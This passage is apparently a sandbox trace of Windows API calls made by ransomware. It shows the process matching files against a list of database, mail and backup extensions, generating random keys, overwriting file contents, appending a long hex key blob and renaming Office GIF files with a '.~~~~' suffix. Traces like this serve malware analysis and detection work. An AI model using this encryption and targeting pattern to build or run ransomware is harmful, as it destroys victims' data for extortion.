	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".pst") returned 0x0
	[0126.919] lstrlenW (lpString=".dbv") returned 4
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".dbv") returned 0x0
	[0126.919] lstrlenW (lpString=".SDF") returned 4
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".SDF") returned 0x0
	[0126.919] lstrlenW (lpString=".dtxs") returned 5
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".dtxs") returned 0x0
	[0126.919] lstrlenW (lpString=".db3") returned 4
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".db3") returned 0x0
	[0126.920] lstrlenW (lpString=".OST") returned 4
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".OST") returned 0x0
	[0126.920] lstrlenW (lpString=".dbx") returned 4
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".dbx") returned 0x0
	[0126.920] lstrlenW (lpString=".DB3") returned 4
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".DB3") returned 0x0
	[0126.920] lstrlenW (lpString=".DAT") returned 4
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".DAT") returned 0x0
	[0126.920] lstrlenW (lpString=".VHDX") returned 5
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".VHDX") returned 0x0
	[0126.920] lstrlenW (lpString=".ndf") returned 4
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".ndf") returned 0x0
	[0126.920] lstrlenW (lpString=".DB") returned 3
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".DB") returned 0x0
	[0126.920] lstrlenW (lpString=".sql") returned 4
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".sql") returned 0x0
	[0126.920] lstrlenW (lpString=".MYD") returned 4
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".MYD") returned 0x0
	[0126.920] lstrlenW (lpString=".DBT") returned 4
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".DBT") returned 0x0
	[0126.920] lstrlenW (lpString=".ACCDB") returned 6
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".ACCDB") returned 0x0
	[0126.920] lstrlenW (lpString=".fdb") returned 4
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".fdb") returned 0x0
	[0126.920] lstrlenW (lpString=".bak") returned 4
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".bak") returned 0x0
	[0126.920] lstrlenW (lpString=".myd") returned 4
	[0126.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".myd") returned 0x0
	[0126.921] lstrlenW (lpString=".DTXS") returned 5
	[0126.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".DTXS") returned 0x0
	[0126.921] lstrlenW (lpString=".ckp") returned 4
	[0126.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".ckp") returned 0x0
	[0126.921] lstrlenW (lpString=".dbt") returned 4
	[0126.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".dbt") returned 0x0
	[0126.921] lstrlenW (lpString=".db") returned 3
	[0126.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".db") returned 0x0
	[0126.921] lstrlenW (lpString=".TXT") returned 4
	[0126.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".TXT") returned 0x0
	[0126.921] lstrlenW (lpString=".MDF") returned 4
	[0126.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".MDF") returned 0x0
	[0126.921] lstrlenW (lpString=".bdb") returned 4
	[0126.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".bdb") returned 0x0
	[0126.921] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0126.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0126.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0126.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362c70
	[0126.921] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.922] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.922] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.923] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24691288650) returned 1
	[0126.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb51a74d0, dwHighDateTime=0x1d60e1e)) 
	[0126.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a452a0
	[0126.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a452a0 | out: hHeap=0x300000) returned 1
	[0126.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3adf08
	[0126.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4268
	[0126.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3adf08 | out: hHeap=0x300000) returned 1
	[0126.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4268 | out: hHeap=0x300000) returned 1
	[0126.924] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.924] GetLastError () returned 0x0
	[0126.924] GetLastError () returned 0x0
	[0126.924] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.924] GetLastError () returned 0x0
	[0126.924] GetLastError () returned 0x0
	[0126.927] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff699, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.927] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x967, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x967, lpOverlapped=0x0) returned 1
	[0126.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.929] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.929] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.930] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.930] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.930] CloseHandle (hObject=0x138) returned 1
	[0126.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4268
	[0126.930] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif.~~~~")) returned 1
	[0126.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4268 | out: hHeap=0x300000) returned 1
	[0126.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.931] GetLastError () returned 0x0
	[0126.933] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.934] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.934] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.934] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24692415702) returned 1
	[0126.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb51cd630, dwHighDateTime=0x1d60e1e)) 
	[0126.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cc708
	[0126.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc708 | out: hHeap=0x300000) returned 1
	[0126.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3adf08
	[0126.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4508
	[0126.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3adf08 | out: hHeap=0x300000) returned 1
	[0126.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4508 | out: hHeap=0x300000) returned 1
	[0126.935] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.935] GetLastError () returned 0x0
	[0126.935] GetLastError () returned 0x0
	[0126.935] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.935] GetLastError () returned 0x0
	[0126.935] GetLastError () returned 0x0
	[0126.937] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffec5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.937] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x13b, lpOverlapped=0x0) returned 1
	[0126.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.938] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.938] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.939] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.939] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.939] CloseHandle (hObject=0x138) returned 1
	[0126.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4508
	[0126.939] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif.~~~~")) returned 1
	[0126.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4508 | out: hHeap=0x300000) returned 1
	[0126.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.940] GetLastError () returned 0x0
	[0126.941] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.942] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.942] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.942] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24693203525) returned 1
	[0126.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb51cd630, dwHighDateTime=0x1d60e1e)) 
	[0126.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821cf8
	[0126.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821cf8 | out: hHeap=0x300000) returned 1
	[0126.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3adf08
	[0126.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4118
	[0126.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3adf08 | out: hHeap=0x300000) returned 1
	[0126.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4118 | out: hHeap=0x300000) returned 1
	[0126.943] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.943] GetLastError () returned 0x0
	[0126.943] GetLastError () returned 0x0
	[0126.943] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.943] GetLastError () returned 0x0
	[0126.943] GetLastError () returned 0x0
	[0126.945] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffefb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.945] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x105, lpOverlapped=0x0) returned 1
	[0126.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.946] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.946] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.946] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.946] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.947] CloseHandle (hObject=0x138) returned 1
	[0126.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4118
	[0126.947] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif.~~~~")) returned 1
	[0126.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4118 | out: hHeap=0x300000) returned 1
	[0126.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.948] GetLastError () returned 0x0
	[0126.948] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.950] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.950] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.950] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24694015280) returned 1
	[0126.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb51f3790, dwHighDateTime=0x1d60e1e)) 
	[0126.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821d30
	[0126.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821d30 | out: hHeap=0x300000) returned 1
	[0126.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3adf08
	[0126.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3c80
	[0126.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3adf08 | out: hHeap=0x300000) returned 1
	[0126.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3c80 | out: hHeap=0x300000) returned 1
	[0126.951] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.951] GetLastError () returned 0x0
	[0126.951] GetLastError () returned 0x0
	[0126.951] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.952] GetLastError () returned 0x0
	[0126.952] GetLastError () returned 0x0
	[0126.953] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffef7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.953] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x109, lpOverlapped=0x0) returned 1
	[0126.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.954] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.955] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
